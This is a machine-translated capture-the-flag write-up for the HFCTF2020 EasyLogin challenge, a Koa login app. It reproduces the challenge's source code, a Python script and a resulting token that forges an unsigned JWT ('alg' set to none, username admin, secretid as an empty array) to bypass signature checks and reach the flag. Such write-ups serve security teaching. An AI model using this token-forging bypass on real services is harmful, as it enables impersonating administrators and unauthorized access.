当前位置:网站首页>[HFCTF2020]EasyLogin

[HFCTF2020]EasyLogin

2022-07-27 00:49:00 A new reading of the tea classic

[HFCTF2020]EasyLogin

After opening, the above login box appears ,f12 You can see app.js

/**
 *   Maybe you should use  koa-static  To handle static files 
 *   How to configure the path ? Whatever, fill in the root directory first XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

The hint is based on Node.js Of koa frame ,koa Under the frame controllers Catalog ,controllers There are api.js,url Direct access (/controllers/api.js) Available

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};
'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

It can be seen from the above code , If the name is not admin You can't view flag

if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

It can be seen from the above code that if the user name is admin You can't register , The above two contradict each other , We can fake it admin Identity login

To register first , Grab the bag again , When capturing packets, some values will be returned

And these values are jwt,jwt Full name Json Web Token, Is a token format , Form consists of three parts , Between by . Connect ,( Decrypt the website as :JSON Web Tokens - jwt.io) The form is probably as follows :

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

The three parts are 1.header: The statement JWT The signature algorithm of 2.payload: Carries various declarations and passes plaintext data , for example :username、password etc. 3.signture: Who owns this part JWT go by the name of JWS, That is, signed JWS

We put alg Change it to none, Because when alg by none When , The back end will not perform signature verification , It is equivalent to no encryption , And then username Change it to admin,secretid Change it to [], Use scripts to generate , Script :

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123456",
  "iat": 1657953245
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY1Nzk1MzI0NX0.

Then modify the correct content according to the returned package : 

Put the package and you will find that you can log in , After logging in, you get flag The button

  Continue to grab the bag , Send to repeater, Just send flag

原网站

版权声明
本文为[A new reading of the tea classic]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/208/202207262237374523.html